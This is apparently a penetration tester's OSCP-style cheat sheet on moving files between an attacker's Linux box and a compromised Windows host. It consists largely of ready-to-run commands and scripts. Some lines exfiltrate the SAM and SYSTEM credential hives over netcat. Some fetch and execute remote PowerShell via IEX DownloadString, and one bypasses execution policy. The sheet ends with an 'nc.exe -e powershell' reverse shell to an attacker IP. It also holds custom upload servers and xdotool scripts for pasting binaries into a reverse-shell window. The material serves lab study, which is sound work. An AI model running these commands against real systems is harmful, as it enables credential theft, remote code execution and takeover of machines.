🪟Windows File Transfers

Transfer from windows to Linux

With interactive shell

#scp

This only works with interactive shells

scp macro.doc cyber02@192.168.45.212:/home/cyber02/Desktop/

Without an interactive shell

#nc (not that reliable with binaries like SAM and SYSTEM)

Attacker

nc -lvnp 80 > linpeas.out

Victim

type filename.txt | .\nc.exe -vn 10.10.203.147 2222

Watch for the file size

watch -n 0.2 ls -l

Using PUT request

Attacker

/home/cyber02/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root .

Victim

Invoke-WebRequest -Uri http://192.168.45.184/linpeas.out -Method PUT -InFile linpeas.out

Or (-UseBasicParsing tells PowerShell: don’t try to parse HTML or XML, just return the raw response.)

Invoke-WebRequest -Uri http://10.10.14.12/tasks.txt -Method PUT -InFile tasks.txt -UseBasicParsing

Or

curl.exe -T linpeas.out http://192.168.45.184/

Using BITS_PUT Request

using BITS_PUT request with bitsadmin windows tool

Attacker

use either use the SimpleBITSServer python2 script from GitHub (https://github.com/SafeBreach-Labs/SimpleBITSServer/blob/master/SimpleBITSServer/SimpleBITSServer.py)

python2 SimpleBITSServer.py 80

or the custom python3 ready version fixed with ai

#!/usr/bin/env python3
"""
A simple BITS server in python based on SimpleHTTPRequestHandler

* Supports both Download and Upload jobs (excluding Upload-Reply)
* Example client usage using PowerShell:
    > Import-Module BitsTransfer
    > Start-BitsTransfer -TransferType Upload -Source C:\temp\to_upload.txt -Destination http://127.0.0.1/to_upload.txt -DisplayName TEST

References: https://msdn.microsoft.com/en-us/library/windows/desktop/aa362828(v=vs.85).aspx
            https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MC-BUP/[MC-BUP].pdf
"""
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler

# BITS Protocol header keys
K_BITS_SESSION_ID = 'BITS-Session-Id'
K_BITS_ERROR_CONTEXT = 'BITS-Error-Context'
K_BITS_ERROR_CODE = 'BITS-Error-Code'
K_BITS_PACKET_TYPE = 'BITS-Packet-Type'
K_BITS_SUPPORTED_PROTOCOLS = 'BITS-Supported-Protocols'
K_BITS_PROTOCOL = 'BITS-Protocol'

# HTTP Protocol header keys
K_ACCEPT_ENCODING = 'Accept-Encoding'
K_CONTENT_NAME = 'Content-Name'
K_CONTENT_LENGTH = 'Content-Length'
K_CONTENT_RANGE = 'Content-Range'
K_CONTENT_ENCODING = 'Content-Encoding'

# BITS Protocol header values
V_ACK = 'Ack'

# BITS server errors
class BITSServerHResult:
    BG_ERROR_CONTEXT_REMOTE_FILE = hex(0x5)
    BG_E_TOO_LARGE = hex(0x80200020)
    E_INVALIDARG = hex(0x80070057)
    E_ACCESSDENIED = hex(0x80070005)
    ZERO = hex(0x0)
    ERROR_CODE_GENERIC = hex(0x1)

class HTTPStatus:
    OK = 200
    CREATED = 201
    BAD_REQUEST = 400
    FORBIDDEN = 403
    NOT_FOUND = 404
    CONFLICT = 409
    REQUESTED_RANGE_NOT_SATISFIABLE = 416
    INTERNAL_SERVER_ERROR = 500
    NOT_IMPLEMENTED = 501

class BITSServerException(Exception):
    pass

class ClientProtocolNotSupported(BITSServerException):
    def __init__(self, supported_protocols):
        super().__init__("Server supports neither of the requested protocol versions")
        self.requested_protocols = str(supported_protocols)

class ServerInternalError(BITSServerException):
    def __init__(self, internal_exception):
        super().__init__("Internal server error encountered")
        self.internal_exception = internal_exception

class InvalidFragment(BITSServerException):
    def __init__(self, last_range_end, new_range_start):
        super().__init__("Invalid fragment received on server")
        self.last_range_end = last_range_end
        self.new_range_start = new_range_start

class FragmentTooLarge(BITSServerException):
    def __init__(self, fragment_size):
        super().__init__("Oversized fragment received on server")
        self.fragment_size = fragment_size

class UploadAccessDenied(BITSServerException):
    def __init__(self):
        super().__init__("Write access to requested file upload is denied")

class BITSUploadSession:
    files_in_use = []

    def __init__(self, absolute_file_path, fragment_size_limit):
        self.fragment_size_limit = fragment_size_limit
        self.absolute_file_path = absolute_file_path
        self.fragments = []
        self.expected_file_length = -1

        if os.path.exists(self.absolute_file_path):
            if os.path.isdir(self.absolute_file_path):
                self._status_code = HTTPStatus.FORBIDDEN
            elif self.absolute_file_path in BITSUploadSession.files_in_use:
                self._status_code = HTTPStatus.CONFLICT
            else:
                BITSUploadSession.files_in_use.append(self.absolute_file_path)
                self.__open_file()
        elif os.path.exists(os.path.dirname(self.absolute_file_path)):
            BITSUploadSession.files_in_use.append(self.absolute_file_path)
            self.__open_file()
        else:
            self._status_code = HTTPStatus.FORBIDDEN

    def __open_file(self):
        try:
            self.file = open(self.absolute_file_path, "wb")
            self._status_code = HTTPStatus.OK
        except Exception:
            self._status_code = HTTPStatus.FORBIDDEN

    def __get_final_data_from_fragments(self):
        return b"".join([frg['data'] for frg in self.fragments])

    def get_last_status_code(self):
        return self._status_code

    def add_fragment(self, file_total_length, range_start, range_end, data):
        if self.fragment_size_limit < range_end - range_start:
            raise FragmentTooLarge(range_end - range_start)

        if self.expected_file_length == -1:
            self.expected_file_length = file_total_length

        last_range_end = self.fragments[-1]['range_end'] if self.fragments else -1
        if last_range_end + 1 < range_start:
            raise InvalidFragment(last_range_end, range_start)
        elif last_range_end + 1 > range_start:
            range_start = last_range_end + 1

        self.fragments.append({'range_start': range_start,
                               'range_end': range_end,
                               'data': data})

        if range_end + 1 == self.expected_file_length:
            self.file.write(self.__get_final_data_from_fragments())
            return True
        return False

    def close(self):
        self.file.flush()
        self.file.close()
        BITSUploadSession.files_in_use.remove(self.absolute_file_path)

class SimpleBITSRequestHandler(SimpleHTTPRequestHandler):
    protocol_version = "HTTP/1.1"
    base_dir = os.getcwd()
    supported_protocols = ["{7df0354d-249b-430f-820d-3d2a9bef4931}"]
    fragment_size_limit = 100*1024*1024

    def __send_response(self, headers_dict={}, status_code=HTTPStatus.OK, data=b""):
        self.send_response(status_code)
        for k, v in headers_dict.items():
            self.send_header(k, v)
        self.end_headers()
        if isinstance(data, str):
            data = data.encode('utf-8')
        self.wfile.write(data)

    def __release_resources(self):
        headers = {K_BITS_PACKET_TYPE: V_ACK, K_CONTENT_LENGTH: '0'}
        try:
            session_id = self.headers.get(K_BITS_SESSION_ID, None).lower()
            headers[K_BITS_SESSION_ID] = session_id
            self.log_message("Closing BITS-Session-Id: %s", session_id)
            self.sessions[session_id].close()
            self.sessions.pop(session_id, None)
            status_code = HTTPStatus.OK
        except AttributeError:
            self.__send_response(headers, status_code=HTTPStatus.BAD_REQUEST)
            return
        except Exception as e:
            raise ServerInternalError(e)
        self.__send_response(headers, status_code=status_code)

    def _handle_fragment(self):
        headers = {K_BITS_PACKET_TYPE: V_ACK, K_CONTENT_LENGTH: '0'}
        try:
            session_id = self.headers.get(K_BITS_SESSION_ID, None).lower()
            content_length = int(self.headers.get(K_CONTENT_LENGTH, 0))
            content_range = self.headers.get(K_CONTENT_RANGE, None).split(" ")[-1]
            crange, total_length = content_range.split("/")
            total_length = int(total_length)
            range_start, range_end = [int(num) for num in crange.split("-")]
            data = self.rfile.read(content_length)
            headers[K_BITS_SESSION_ID] = session_id

            is_last_fragment = self.sessions[session_id].add_fragment(
                total_length, range_start, range_end, data)
            headers['BITS-Received-Content-Range'] = str(range_end + 1)
            status_code = HTTPStatus.OK

        except InvalidFragment as e:
            headers[K_BITS_ERROR_CODE] = BITSServerHResult.ZERO
            headers[K_BITS_ERROR_CONTEXT] = BITSServerHResult.BG_ERROR_CONTEXT_REMOTE_FILE
            status_code = HTTPStatus.REQUESTED_RANGE_NOT_SATISFIABLE
            self.log_message("ERROR processing new fragment (BITS-Session-Id: %s). New fragment range (%d) is not contiguous with last received (%d).",
                             session_id, e.new_range_start, e.last_range_end)
        except FragmentTooLarge as e:
            headers[K_BITS_ERROR_CODE] = BITSServerHResult.BG_E_TOO_LARGE
            headers[K_BITS_ERROR_CONTEXT] = BITSServerHResult.BG_ERROR_CONTEXT_REMOTE_FILE
            status_code = HTTPStatus.INTERNAL_SERVER_ERROR
            self.log_message("ERROR processing new fragment (BITS-Session-Id: %s). New fragment size (%d) exceeds server limit (%d).",
                             session_id, e.fragment_size, self.fragment_size_limit)
        except Exception as e:
            raise ServerInternalError(e)

        self.__send_response(headers, status_code=status_code)

    def _handle_ping(self):
        self.log_message("PING RECEIVED")
        headers = {K_BITS_PACKET_TYPE: V_ACK, K_BITS_ERROR_CODE: '1', K_BITS_ERROR_CONTEXT: '', K_CONTENT_LENGTH: '0'}
        self.__send_response(headers, status_code=HTTPStatus.OK)

    def __get_current_session_id(self):
        return str(hash((self.connection.getpeername()[0], self.path)))

    def _handle_cancel_session(self):
        self.log_message("CANCEL-SESSION RECEIVED")
        return self.__release_resources()

    def _handle_close_session(self):
        self.log_message("CLOSE-SESSION RECEIVED")
        return self.__release_resources()

    def _handle_create_session(self):
        self.log_message("CREATE-SESSION RECEIVED")
        headers = {K_BITS_PACKET_TYPE: V_ACK, K_CONTENT_LENGTH: '0'}
        if not hasattr(self, "sessions"):
            self.sessions = dict()
        try:
            client_supported_protocols = self.headers.get(K_BITS_SUPPORTED_PROTOCOLS, "").lower().split(" ")
            protocols_intersection = set(client_supported_protocols).intersection(self.supported_protocols)
            if protocols_intersection:
                headers[K_BITS_PROTOCOL] = list(protocols_intersection)[0]
                requested_path = self.path[1:] if self.path.startswith("/") else self.path
                absolute_file_path = os.path.join(self.base_dir, requested_path)
                session_id = self.__get_current_session_id()
                self.log_message("Creating BITS-Session-Id: %s", session_id)
                if session_id not in self.sessions:
                    self.sessions[session_id] = BITSUploadSession(absolute_file_path, self.fragment_size_limit)
                headers[K_BITS_SESSION_ID] = session_id
                status_code = self.sessions[session_id].get_last_status_code()
                if status_code == HTTPStatus.FORBIDDEN:
                    raise UploadAccessDenied()
            else:
                raise ClientProtocolNotSupported(client_supported_protocols)
        except ClientProtocolNotSupported as e:
            status_code = HTTPStatus.BAD_REQUEST
            headers[K_BITS_ERROR_CODE] = BITSServerHResult.E_INVALIDARG
            headers[K_BITS_ERROR_CONTEXT] = BITSServerHResult.BG_ERROR_CONTEXT_REMOTE_FILE
            self.log_message("ERROR creating new session - protocol mismatch")
        except UploadAccessDenied as e:
            headers[K_BITS_ERROR_CODE] = BITSServerHResult.E_ACCESSDENIED
            headers[K_BITS_ERROR_CONTEXT] = BITSServerHResult.BG_ERROR_CONTEXT_REMOTE_FILE
            status_code = HTTPStatus.FORBIDDEN
            self.log_message("ERROR creating new session - Access Denied")
        except Exception as e:
            raise ServerInternalError(e)

        if status_code in (HTTPStatus.OK, HTTPStatus.CREATED):
            headers[K_ACCEPT_ENCODING] = 'identity'
        self.__send_response(headers, status_code=status_code)

    def do_BITS_POST(self):
        headers = {}
        bits_packet_type = self.headers.get_all(K_BITS_PACKET_TYPE, [""])[0].lower()
        try:
            do_function = getattr(self, f"_handle_{bits_packet_type.replace('-', '_')}")
            try:
                do_function()
                return
            except ServerInternalError as e:
                status_code = HTTPStatus.INTERNAL_SERVER_ERROR
                headers[K_BITS_ERROR_CODE] = BITSServerHResult.ERROR_CODE_GENERIC
                self.log_message("Internal BITS Server Error: %s", str(e))
        except AttributeError:
            status_code = HTTPStatus.BAD_REQUEST
            headers[K_BITS_ERROR_CODE] = BITSServerHResult.E_INVALIDARG

        headers[K_BITS_ERROR_CONTEXT] = BITSServerHResult.BG_ERROR_CONTEXT_REMOTE_FILE
        self.__send_response(headers, status_code=status_code)

def run(server_class=HTTPServer, handler_class=SimpleBITSRequestHandler, port=80):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    print('Starting BITS server...')
    httpd.serve_forever()

if __name__ == "__main__":
    from sys import argv
    if len(argv) == 2:
        run(port=int(argv[1]))
    else:
        run()

After adding a dynamic link use:

sudo ln -s /home/cyber02/Desktop/OSCP-Tools/Custom/bitsadmin_server.py /usr/local/bin/bitsadmin_server

Simply use

bitsadmin_server 80

Victim

bitsadmin /transfer myUploadJob /upload http://10.10.14.28/tasks.txt c:\Users\mark\tasks.txt

Manual Base64 Transfer

For an accurate and correct file transfer we use base64

Encode the file

certutil -encode SAM SAM.b64

Transfer the file

type C:\windows.old\windows\system32\SAM.b64 | .\nc.exe -vn 10.10.203.147 2222

Receive the file

nc -lnvp 2222 > SYSTEM.b64

Watch the file while receiving it

watch -n 0.2s ls -l

Remove header and footer

sed -i '/-----BEGIN CERTIFICATE-----/d;/-----END CERTIFICATE-----/d' SAM.b64

Remove space, new lines and Carriage return chars

tr -d '\n\r ' < SYSTEM.b64 > SYSTEM_fixed.b64

Decode the file

base64 -d SAM_fixed.b64  > SAM

Automated base64 transfer (Text Only)

#python_django

Victim

Victim one liner

$base64 = [Convert]::ToBase64String((Get-Content -Path "file.txt" -Encoding Byte)); Invoke-RestMethod -Uri "http://192.168.45.199:5000/upload" -Method Post -Headers @{"Content-Type"="application/json"} -Body (@{"file"=$base64} | ConvertTo-Json)

Attacker Django App (PythonFlask.py)

from flask import Flask, request
import base64

app = Flask(__name__)

@app.route('/upload', methods=['POST'])
def upload():
    data = request.json.get("file")
    if data:
        with open("output.txt", "wb") as f:
            f.write(base64.b64decode(data))
        return {"message": "File saved"}, 200
    return {"error": "No file data"}, 400

if __name__ == '__main__':
    app.run(host="0.0.0.0",debug=True)

Attacker

Attacker Django web server start

python PythonFlask.py

Automated base64 transfer (Binary & Large files)

#python_django_chunked

Attacker

The Django web server handling the file upload UploadServer.py

#!/usr/bin/env python3
from flask import Flask, request, jsonify
import base64
import os

app = Flask(__name__)

# Define upload directory and chunk storage
UPLOAD_FOLDER = 'uploads'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

@app.route('/upload', methods=['POST'])
def upload_file():
    # Get upload metadata
    filename = request.json.get('filename', 'uploaded_file')
    total_chunks = request.json.get('totalChunks', 0)
    current_chunk = request.json.get('currentChunk', 0)
    chunk_data = request.json.get('chunk', '')

    # Validate chunk data
    if not chunk_data:
        return jsonify({"error": "No chunk data"}), 400

    # Decode base64 chunk
    try:
        decoded_chunk = base64.b64decode(chunk_data)
    except Exception as e:
        return jsonify({"error": f"Chunk decoding error: {str(e)}"}), 400

    # Construct file path
    file_path = os.path.join(UPLOAD_FOLDER, filename)

    # Write or append chunk
    mode = 'ab' if current_chunk > 0 else 'wb'
    try:
        with open(file_path, mode) as f:
            f.write(decoded_chunk)
    except Exception as e:
        return jsonify({"error": f"File write error: {str(e)}"}), 500

    # Check if all chunks are received
    if current_chunk + 1 >= total_chunks:
        return jsonify({
            "message": "File upload complete", 
            "filename": filename,
            "path": file_path
        }), 200

    return jsonify({
        "message": "Chunk received", 
        "currentChunk": current_chunk + 1
    }), 206

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=5000, debug=True)

Start The Upload server

Python UploadServer.py

I’ve created a symbolic link for the script to make calling it easier

sudo ln -s /home/cyber02/Desktop/OSCP-Tools/Custom/UploadServer.py /usr/local/bin/UploadServer
chmod +x /home/cyber02/Desktop/OSCP-Tools/Custom/UploadServer.py

Victim

Using Transfer Script

function Upload-LargeFile {
    param(
        [string]$FilePath,
        [string]$UploadUrl = "http://192.168.45.199:5000/upload",
        [int]$ChunkSizeBytes = 1MB
    )

    # Read file and prepare for chunked upload
    $fileName = Split-Path $FilePath -Leaf
    $fileBytes = [System.IO.File]::ReadAllBytes($FilePath)
    $totalChunks = [Math]::Ceiling($fileBytes.Length / $ChunkSizeBytes)

    # Upload chunks
    for ($chunk = 0; $chunk -lt $totalChunks; $chunk++) {
        # Calculate chunk
        $start = $chunk * $ChunkSizeBytes
        $length = [Math]::Min($ChunkSizeBytes, $fileBytes.Length - $start)
        $chunkBytes = $fileBytes[$start..($start + $length - 1)]

        # Base64 encode chunk
        $chunkBase64 = [Convert]::ToBase64String($chunkBytes)

        # Prepare payload
        $payload = @{
            filename = $fileName
            totalChunks = $totalChunks
            currentChunk = $chunk
            chunk = $chunkBase64
        } | ConvertTo-Json

        # Send chunk
        $response = Invoke-RestMethod -Uri $UploadUrl -Method Post -Body $payload -ContentType "application/json"
        Write-Host "Uploaded chunk $($chunk + 1) of $totalChunks"
    }

    Write-Host "File upload complete: $fileName"
}

# Example usage
#Upload-LargeFile -FilePath "C:\path\to\your\largefile.txt"

Load the script

. .\transfer.ps1

Bypass PowerShell policy

#PS_Bypass_Policy

Set-ExecutionPolicy Bypass -Scope Process -Force

Transfer the file

Upload-LargeFile -FilePath "winpeas.exe"

One Liner Transfer

$u="http://192.168.45.199:5000/upload";$f="winpeas.exe";$c=1MB;$fn=Split-Path $f -Leaf;$b=[System.IO.File]::ReadAllBytes($f);$t=[Math]::Ceiling($b.Length/$c);0..$($t-1)|%{$s=$_*$c;$l=[Math]::Min($c,$b.Length-$s);$ch=$b[$s..($s+$l-1)];$cb=[Convert]::ToBase64String($ch);Invoke-RestMethod -Uri $u -Method Post -Body (@{filename=$fn;totalChunks=$t;currentChunk=$_;chunk=$cb}|ConvertTo-Json) -ContentType "application/json"}

SMB

#smb

Attacker

#impacket_smb

impacket-smbserver test . -smb2support  -username cyber02 -password cyber02

Or

smbserver.py test . -smb2support  -username cyber02 -password cyber02

#native_linux_smb

sudo subl /etc/samba/smb.conf

Add this share line below

[test]
path = /srv/smb
guest ok = yes
browseable = yes
writable = yes
create mask = 0600

Now, we will start the smb server.

sudo service smbd start

To check if our smb server is running, we can use smbclient to check if the share is accessible.

smbclient //10.10.14.28/test -N

Victim

before transferring file to or from the native linux samba, change the directory permissions

chmod 777 /srv/smb
net use m: \\192.168.45.201\test /user:cyber02 cyber02
copy mimikatz.log m:\

Or simpler

copy file.txt \\10.10.14.28\test\

Base64 Auto-Terminal-Paste

In the case where the machine does not have any tools or for some reason nothing worked, we can transfer a file in chunks by copy pasting automatically using xdotool

Attacker

Start by base64 encoding nc64.exe to 20 chunks

base64 -w0 nc64.exe | split -n 20 -d - nc64.part_

use the autosend_final.sh custom bash script to transfer the file, while naming the terminal with the rev shell “rev”

#!/bin/bash
set -u

WIN_NAME="rev"
WIN_ID=$(xdotool search --name "$WIN_NAME" | head -n 1)

if [ -z "$WIN_ID" ]; then
  echo "[!] Could not find a window with name: $WIN_NAME"
  exit 1
fi

sleep 5

MAIN_PID=$$
PIDFILE="/tmp/xdotool_pid.$MAIN_PID"
WATCHDOG_PIDFILE="/tmp/xd_watchdog.$MAIN_PID"

sleep 1
echo "[*] Targeting window ID: $WIN_ID ($(xdotool getwindowname $WIN_ID))"
echo "[i] Switch to another window to stop this script."

# Start watchdog: will kill xdotool (by PID from $PIDFILE) then kill main script.
(
  while true; do
    CURR_ID=$(xdotool getwindowfocus 2>/dev/null || echo "")
    if [[ "$CURR_ID" != "$WIN_ID" ]]; then
      echo "[!] Focus moved away from target window. Killing ongoing typing..."
      # kill last-known xdotool PID if present
      if [[ -f "$PIDFILE" ]]; then
        read -r XDO_PID < "$PIDFILE" || XDO_PID=""
        if [[ -n "$XDO_PID" ]]; then
          kill "$XDO_PID" 2>/dev/null || true
          sleep 0.05
          kill -9 "$XDO_PID" 2>/dev/null || true
        fi
      fi
      # also try to kill any xdotool children of THIS script (extra safety)
      pkill -P "$MAIN_PID" -x xdotool 2>/dev/null || true
      # fallback: kill any remaining 'xdotool type' procs
      pkill -f "xdotool type" 2>/dev/null || true

      # finally kill the main script
      kill -TERM "$MAIN_PID" 2>/dev/null || kill -9 "$MAIN_PID" 2>/dev/null || true
      exit 0
    fi
    sleep 0.05
  done
) &

WATCHDOG_PID=$!
echo "$WATCHDOG_PID" > "$WATCHDOG_PIDFILE"

# Parameters: adjust SEGMENT_LEN for smaller/faster checks
SEGMENT_LEN=200   # characters per xdotool invocation (lower -> more checks but slower)

cleanup() {
  rm -f "$PIDFILE" "$WATCHDOG_PIDFILE"
  kill "$WATCHDOG_PID" 2>/dev/null || true
}
trap cleanup EXIT INT TERM

for f in nc64.part_*; do
  echo "[*] Processing file: $f"
  chunk=$(cat "$f")
  # command we want typed: echo <base64 chunk> >> nc64.b64
  cmd="echo $chunk >> nc64.b64"

  echo "[>] Sending preview: ${cmd:0:60}... "

  # Activate target window (so keystrokes go there)
  xdotool windowactivate --sync "$WIN_ID"

  # Type the command in segments. For each segment we:
  #  - write segment to a tmp file
  #  - start `xdotool type --file tmp` in background
  #  - record its PID in $PIDFILE so watchdog can kill it if needed
  #  - wait for it to finish (or be killed) before sending next segment
  len=${#cmd}
  pos=0
  TMP=""
  while (( pos < len )); do
    seg=${cmd:pos:SEGMENT_LEN}
    TMP=$(mktemp)
    printf '%s' "$seg" > "$TMP"

    # start typing this segment in background, capture PID
    xdotool type --file "$TMP" &
    XDO_PID=$!
    echo "$XDO_PID" > "$PIDFILE"

    # wait for this xdotool instance (it may be killed by watchdog)
    wait "$XDO_PID" 2>/dev/null || true

    rm -f "$TMP"
    # if focus moved, watchdog would have killed xdotool and the main process
    # but in case we continue, check focus now
    CURRENT_FOCUS=$(xdotool getwindowfocus 2>/dev/null || echo "")
    if [[ "$CURRENT_FOCUS" != "$WIN_ID" ]]; then
      echo "[!] Focus moved away from target window. Exiting..."
      exit 0
    fi

    (( pos += SEGMENT_LEN ))
  done

  # finished typing the whole command; press Return
  xdotool key Return

  echo "[+] Sent $f"
  # small pause between files
  sleep 0.2
done

echo "[✔] All chunks sent!"
cleanup
./autosend_final.sh

Or using clipboard for faster transfer:

#!/bin/bash
set -u

WIN_NAME="rev"
WIN_ID=$(xdotool search --name "$WIN_NAME" | head -n 1)

if [ -z "$WIN_ID" ]; then
  echo "[!] Could not find a window with name: $WIN_NAME"
  exit 1
fi

echo "[*] Targeting window ID: $WIN_ID ($(xdotool getwindowname $WIN_ID))"
echo "[i] Switch to another window to stop this script."

for f in nc64.part_*; do
  echo "[*] Processing file: $f"
  chunk=$(cat "$f")
  cmd="echo $chunk >> nc64.b64"

  # Copy command into clipboard (requires xclip or xsel)
  printf '%s' "$cmd" | xclip -selection clipboard

  # Activate window and paste
  xdotool windowactivate --sync "$WIN_ID"
  xdotool key Ctrl+Shift+v
  xdotool key Return

  echo "[+] Sent $f"
  sleep 0.1
done

echo "[✔] All chunks sent!"
./auto_clipboard_send.sh

Victim

After the script finishes running, decode the nc64.b64 file

certutil -decode nc64.b64 nc64.exe

Rclone.exe

#rclone

Attacker

/home/cyber02/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root .

Victim

.\rclone.exe copy "C:\users\public\test.txt" :webdav: --webdav-url http://10.10.14.20/

Transfer from Linux to windows

Attacker

python -m http.server 80

Victim

#iex

Download and execute immediately:

IEX (New-Object System.Net.Webclient).DownloadString("http://192.168.45.187:443/SharpHound.ps1")  

OR

#certutil

certutil -urlcache -split -f http://192.168.45.187:443/SharpHound.ps1

to save in temp directory

certutil -urlcache -split -f http://192.168.45.187:443/SharpHound.ps1  C:\Users\tony\AppData\Local\Temp\SharpHound.ps1

OR

#iwr

iwr -Uri http://192.168.45.187:443/SharpHound.ps1 -OutFile "SharpHound.ps1"

OR

#curl

curl 192.168.45.199:8000/Invoke-ConPtyShell.ps1 -o Invoke-ConPtyShell.ps1

==LIGOLO Tunneled Transfer==

#ligolo

when we have a tunnel, we either use Evil-Winrm built in upload/download, or set up a ligolo-ng listener just for file transfers

Attacker machine in ligolo session:

listener_add --addr 0.0.0.0:2000 --to 0.0.0.0:8000
python -m http.server 8000

Victim machine (with ip 10.10.80.141 the one with ligolo agent)

certutil -urlcache -split -f http://10.10.80.141:2000/winPEAS.exe winPEAS.exe

Base64 transfer

#base64

Attacker

base64 -w 0 test.zip

Victim

echo UEsDBAoAAAAAANVdVVoAAAAAAAAAAAAAAAAFABwAdGVzdC9VVAkAA4FLuGeBS7hndXgLAAEE6AMAAAToAwAAUEsDBBQAAAAIAMBek1l5p5yi9QEAANQCAAAPABwAdGVzdC9EZWNvZGUyLnB5VVQJAAM37WNngUu4Z3V4CwABBOgDAAAE6AMAAH1SQW/TMBS+51dYXUQSCU0t4oBGEAiqAkMaYwO324QyN3FIqi6pUpd1YpUiBAiJoY4Lu0xQVtETh2jTBKi3/ILnv5Bfgp20leCApWc/P7/ve5/t51AXuWG0R5jVC3w7dKjFQqvbITZ1LI/2dYcwYqwoSIxSqXQvDF7SiKFnRS5itM8QC1EBQAIwYxO5OWYJzSEiq3nAaDcPR2TfynfoFpIVlmkg+XRNHsyF0K5NOlQz/iGixPZyKkkpK5LAQa3QD9C+z7xCyqwKZb0oQBrSluW57mqvmivla/2BJlWiJhKYhRJDUZbQ48h/4QekjboebbelCmXhCaklHvMj+JXFya4wuKzAmZPFvzfKcppZpKc/V69U+LACx+kPkxxeRfAJvsIJnPN4oz7LumvCSCx3+lk8gWO2CqN1sX0grIFgDBfmQ+FeFwaTOVXBcgOSHn8z4O9vDtQenDckQoWxK9ZH0oexmCVO0CdVVd3ZIVvbT/gQkoa1LePTLB499+w9R97gol6vV/i71hYW6j66cFJVTTiqqvC5+nQdY1zDaxhvYu8ATm8LnKD5LmHJGq7xYdnL4m+7MpZOeZxe8i/YSydZfAZv+akMm4fwmn8QgtPp/ShsbcpYST5zLe+R/OM6kR8wpWgaVvSceOj/tuTiRwwlR+t/oQ3lD1BLAQIeAwoAAAAAANVdVVoAAAAAAAAAAAAAAAAFABgAAAAAAAAAEAD9QQAAAAB0ZXN0L1VUBQADgUu4Z3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAMBek1l5p5yi9QEAANQCAAAPABgAAAAAAAEAAAC0gT8AAAB0ZXN0L0RlY29kZTIucHlVVAUAAzftY2d1eAsAAQToAwAABOgDAABQSwUGAAAAAAIAAgCgAAAAfQIAAAAA  > encoded.txt
certutil -decode encoded.txt test.zip

Python Upload Server

install python uploadserver

python -m pip install uploadserver --break-system-packages

start the upload server

python -m uploadserver 8008

in victim upload using any web browser or using a post request to /upload

Invoke-WebRequest -Uri "http://192.168.1.1:8008/upload" -Method Post -Form @{ files = Get-Item "C:\Path\To\File.txt" }

using curl:

curl -F "files=@C:\Path\To\File.txt" http://192.168.1.1:8008/upload

using python:

python3 -c "import requests; files = {'files': open(r'/tmp/VM14_linpeas.out', 'rb')}; r = requests.post('http://192.168.45.174:80/upload', files=files); print(r.text)"

Samba SMB

before transferring file to or from the native linux samba, change the directory permissions

chmod 777 /srv/smb
copy \\10.10.14.28\test\file.txt .

Impacket SMB

Attacker

impacket-smbserver share . -smb2support -username df -password df

Victim

Map the share created

net use \\10.10.14.20\share /u:df df

Now copy nc64.exe to programdata, and connect back with a shell

copy \\10.10.14.20\share\nc64.exe \programdata\nc64.exe

get a rev shell

\programdata\nc.exe -e powershell 10.10.14.20 80